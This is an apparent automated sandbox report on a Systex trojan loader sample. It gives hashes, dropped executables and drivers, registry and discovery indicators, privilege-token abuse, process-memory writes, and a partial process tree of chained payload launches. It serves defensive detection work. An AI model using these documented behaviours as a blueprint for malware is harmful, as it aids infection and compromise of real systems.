systex | 7c1349a8f83d888f8573cb3e7ec3a7dff410e95778015b66f3011ad0d7bbeaff

Analysis

max time kernel
150s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/08/2026, 23:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
Size 384KB
Sample260814-252fsst1ew
SHA256 7c1349a8f83d888f8573cb3e7ec3a7dff410e95778015b66f3011ad0d7bbeaff
MD5 b1a5ac2c19bb52cef24f86f185cb2a47
SHA1 75fd2097b533f9ede256fd225338d63d23ed0cbd
SHA512 694aec5c50a598acaf5832b0a8ad31d50c73c75871b8735e4fb17ab43d849332a91deaa62d078e55ba416fabc1d8f3caeedf226a8f048eb6c0dc24ffba4c1f16
SSDEEP 3072:J9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:jctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T10E847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
2916	idavtnlfdxvqniga.exe
5696	idavtnlfdxvqniga.sys
1684	CreateProcess.exe
3860	fdxsnkfavk.exe
4300	CreateProcess.exe
2668	CreateProcess.exe
5696	i_fdxsnkfavk.exe
6040	causmkfcau.sys
2136	CreateProcess.exe
2476	zxvpkfcxus.exe
1352	CreateProcess.exe
2740	CreateProcess.exe
1996	i_zxvpkfcxus.exe
2876	pnkfcxupnh.sys
5760	CreateProcess.exe
4552	pnhczxupmk.exe
3100	CreateProcess.exe
1504	CreateProcess.exe
3204	i_pnhczxupmk.exe
3132	smkeczxupm.sys
1152	CreateProcess.exe
4492	pjhecwurmj.exe
3972	CreateProcess.exe
1520	CreateProcess.exe
4436	i_pjhecwurmj.exe
2952	ztrpjhbztr.sys
3936	CreateProcess.exe
5020	zurmjebwuo.exe
1364	CreateProcess.exe
1060	CreateProcess.exe
3652	i_zurmjebwuo.exe
1172	uomjeywuom.sys
3624	CreateProcess.exe
248	qojgebwtrl.exe
2688	CreateProcess.exe
2840	CreateProcess.exe
3204	i_qojgebwtrl.exe
236	tqoigeywqo.sys
1536	CreateProcess.exe
5488	tqoigeyvtn.exe
2892	CreateProcess.exe
5656	CreateProcess.exe
3812	i_tqoigeyvtn.exe
5528	gdbvtqlgdb.sys
5820	CreateProcess.exe
3492	ayvqnlgays.exe
1116	CreateProcess.exe
4140	CreateProcess.exe
1108	i_ayvqnlgays.exe
3444	fdxvtqkigd.sys
5616	CreateProcess.exe
4628	idavsqkica.exe
3664	CreateProcess.exe
2352	CreateProcess.exe
4172	i_idavsqkica.exe
5064	xsqkifaxvp.sys
6020	CreateProcess.exe
6076	ysqkicausn.exe
2112	CreateProcess.exe
4712	CreateProcess.exe
4384	i_ysqkicausn.exe
1540	rpkhczxspn.sys
4656	CreateProcess.exe
1872	smkfcxusmk.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping716_1217061715\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping716_462311129\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping716_1641253058\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping716_1259098800\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping716_1259098800\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping716_1259098800\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping716_462311129\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping716_1641253058\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping716_1259098800\llm_user_input_extractor_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkecwupmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnhczxupmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qojgebwtrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smkfcxusmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avsqoifdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqnifaxsq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tqoigeyvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_smkfcxusmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhezwromke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigaysqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecauspnkwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qojgebwtrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdxsnkfavk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pjhecwurmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhezwromke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqnifaxsq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zurmjebwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mjebztrmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oigebztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigaysqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avsqoifdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causmkfcav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdxsnkfavk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zurmjebwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkecwupmke.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oigebztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ayvqnlgays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecauspnkwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idavtnlfdxvqniga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnhczxupmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idavsqkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqkicausn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mjebztrmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causmkfcav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxvpkfcxus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxvpkfcxus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhecwurmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tqoigeyvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ayvqnlgays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_idavsqkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqkicausn.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1592	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4588	ipconfig.exe
4812	ipconfig.exe
5428	ipconfig.exe
1312	ipconfig.exe
2300	ipconfig.exe
5260	ipconfig.exe
6092	ipconfig.exe
4232	ipconfig.exe
236	ipconfig.exe
4308	ipconfig.exe
2664	ipconfig.exe
2516	ipconfig.exe
4280	ipconfig.exe
5588	ipconfig.exe
2592	ipconfig.exe
3776	ipconfig.exe
4508	ipconfig.exe
4864	ipconfig.exe
5476	ipconfig.exe
1840	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134312226530596712"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{4822336B-C77F-4C86-8912-90091C8429AD}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
2916	idavtnlfdxvqniga.exe
2916	idavtnlfdxvqniga.exe
2916	idavtnlfdxvqniga.exe
2916	idavtnlfdxvqniga.exe
2916	idavtnlfdxvqniga.exe
2916	idavtnlfdxvqniga.exe
2916	idavtnlfdxvqniga.exe
2916	idavtnlfdxvqniga.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
716	msedge.exe
716	msedge.exe
716	msedge.exe
716	msedge.exe
716	msedge.exe
716	msedge.exe
716	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	5696	i_fdxsnkfavk.exe
Token: SeDebugPrivilege	1996	i_zxvpkfcxus.exe
Token: SeDebugPrivilege	3204	i_pnhczxupmk.exe
Token: SeDebugPrivilege	4436	i_pjhecwurmj.exe
Token: SeDebugPrivilege	3652	i_zurmjebwuo.exe
Token: SeDebugPrivilege	3204	i_qojgebwtrl.exe
Token: SeDebugPrivilege	3812	i_tqoigeyvtn.exe
Token: SeDebugPrivilege	1108	i_ayvqnlgays.exe
Token: SeDebugPrivilege	4172	i_idavsqkica.exe
Token: SeDebugPrivilege	4384	i_ysqkicausn.exe
Token: SeDebugPrivilege	3040	i_smkfcxusmk.exe
Token: SeDebugPrivilege	5024	i_mkecwupmke.exe
Token: SeDebugPrivilege	2016	i_mhezwromke.exe
Token: SeDebugPrivilege	2128	i_mjebztrmje.exe
Token: SeDebugPrivilege	3932	i_oigebztrlj.exe
Token: SeDebugPrivilege	3812	i_qoigaysqli.exe
Token: SeDebugPrivilege	1320	i_avsqoifdyv.exe
Token: SeDebugPrivilege	3064	i_ysqnifaxsq.exe
Token: SeDebugPrivilege	2080	i_causmkfcav.exe
Token: SeDebugPrivilege	3356	i_ecauspnkwu.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
716	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4992 wrote to memory of 2916	4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe	89
PID 4992 wrote to memory of 3888	4992	2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe	90
PID 3888 wrote to memory of 716	3888	iexplore.exe	91
PID 716 wrote to memory of 4844	716	msedge.exe	92
PID 716 wrote to memory of 6132	716	msedge.exe	94
PID 716 wrote to memory of 1592	716	msedge.exe	95
PID 716 wrote to memory of 6132	716	msedge.exe	94
PID 716 wrote to memory of 6132	716	msedge.exe	94
PID 716 wrote to memory of 1052	716	msedge.exe	96
PID 716 wrote to memory of 1052	716	msedge.exe	96
PID 716 wrote to memory of 4972	716	msedge.exe	97
PID 716 wrote to memory of 4972	716	msedge.exe	97
PID 716 wrote to memory of 4972	716	msedge.exe	97
PID 716 wrote to memory of 1548	716	msedge.exe	98
PID 716 wrote to memory of 1548	716	msedge.exe	98
PID 716 wrote to memory of 1548	716	msedge.exe	98
PID 716 wrote to memory of 1500	716	msedge.exe	99
PID 716 wrote to memory of 2680	716	msedge.exe	100
PID 716 wrote to memory of 1500	716	msedge.exe	99
PID 716 wrote to memory of 1500	716	msedge.exe	99
PID 716 wrote to memory of 2680	716	msedge.exe	100
PID 716 wrote to memory of 2680	716	msedge.exe	100
PID 716 wrote to memory of 3952	716	msedge.exe	101
PID 716 wrote to memory of 3952	716	msedge.exe	101
PID 716 wrote to memory of 5624	716	msedge.exe	102
PID 716 wrote to memory of 5624	716	msedge.exe	102
PID 716 wrote to memory of 5624	716	msedge.exe	102
PID 716 wrote to memory of 3176	716	msedge.exe	104
PID 716 wrote to memory of 3176	716	msedge.exe	104
PID 716 wrote to memory of 3176	716	msedge.exe	104
PID 2916 wrote to memory of 1684	2916	idavtnlfdxvqniga.exe	107
PID 716 wrote to memory of 576	716	msedge.exe	110
PID 716 wrote to memory of 4420	716	msedge.exe	111
PID 716 wrote to memory of 576	716	msedge.exe	110
PID 716 wrote to memory of 4420	716	msedge.exe	111
PID 3860 wrote to memory of 4300	3860	fdxsnkfavk.exe	112
PID 716 wrote to memory of 4304	716	msedge.exe	116
PID 716 wrote to memory of 356	716	msedge.exe	117
PID 716 wrote to memory of 356	716	msedge.exe	117
PID 716 wrote to memory of 4452	716	msedge.exe	118
PID 716 wrote to memory of 4452	716	msedge.exe	118
PID 2916 wrote to memory of 2668	2916	idavtnlfdxvqniga.exe	122
PID 2916 wrote to memory of 2136	2916	idavtnlfdxvqniga.exe	126
PID 2476 wrote to memory of 1352	2476	zxvpkfcxus.exe	128
PID 2916 wrote to memory of 2740	2916	idavtnlfdxvqniga.exe	131
PID 2916 wrote to memory of 5760	2916	idavtnlfdxvqniga.exe	135
PID 4552 wrote to memory of 3100	4552	pnhczxupmk.exe	137
PID 2916 wrote to memory of 1504	2916	idavtnlfdxvqniga.exe	140
PID 2916 wrote to memory of 1152	2916	idavtnlfdxvqniga.exe	144
PID 4492 wrote to memory of 3972	4492	pjhecwurmj.exe	146
PID 2916 wrote to memory of 1520	2916	idavtnlfdxvqniga.exe	150
PID 716 wrote to memory of 4140	716	msedge.exe	152
PID 716 wrote to memory of 4604	716	msedge.exe	153
PID 716 wrote to memory of 4332	716	msedge.exe	154
PID 2916 wrote to memory of 3936	2916	idavtnlfdxvqniga.exe	157
PID 5020 wrote to memory of 1364	5020	zurmjebwuo.exe	159
PID 2916 wrote to memory of 1060	2916	idavtnlfdxvqniga.exe	162
PID 2916 wrote to memory of 3624	2916	idavtnlfdxvqniga.exe	166
PID 248 wrote to memory of 2688	248	qojgebwtrl.exe	168
PID 2916 wrote to memory of 2840	2916	idavtnlfdxvqniga.exe	171
PID 2916 wrote to memory of 1536	2916	idavtnlfdxvqniga.exe	175
PID 5488 wrote to memory of 2892	5488	tqoigeyvtn.exe	177
PID 2916 wrote to memory of 5656	2916	idavtnlfdxvqniga.exe	180
PID 2916 wrote to memory of 5820	2916	idavtnlfdxvqniga.exe	184

C:\Users\Admin\AppData\Local\Temp\2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-14_b1a5ac2c19bb52cef24f86f185cb2a47_amadey_darkgate_elex_smoke-loader_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4992
- C:\Temp\idavtnlfdxvqniga.exe
  C:\Temp\idavtnlfdxvqniga.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fdxsnkfavk.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1684
  - - C:\Temp\fdxsnkfavk.exe
      C:\Temp\fdxsnkfavk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3860
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4300
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4864
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fdxsnkfavk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2668
  - - C:\Temp\i_fdxsnkfavk.exe
      C:\Temp\i_fdxsnkfavk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5696
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zxvpkfcxus.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2136
  - - C:\Temp\zxvpkfcxus.exe
      C:\Temp\zxvpkfcxus.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2476
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1352
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4588
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zxvpkfcxus.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2740
  - - C:\Temp\i_zxvpkfcxus.exe
      C:\Temp\i_zxvpkfcxus.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1996
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pnhczxupmk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5760
  - - C:\Temp\pnhczxupmk.exe
      C:\Temp\pnhczxupmk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4552
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3100
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5260
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pnhczxupmk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1504
  - - C:\Temp\i_pnhczxupmk.exe
      C:\Temp\i_pnhczxupmk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3204
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pjhecwurmj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1152
  - - C:\Temp\pjhecwurmj.exe
      C:\Temp\pjhecwurmj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4492
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3972
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4812
- - C:\temp\CreateProcess.exe
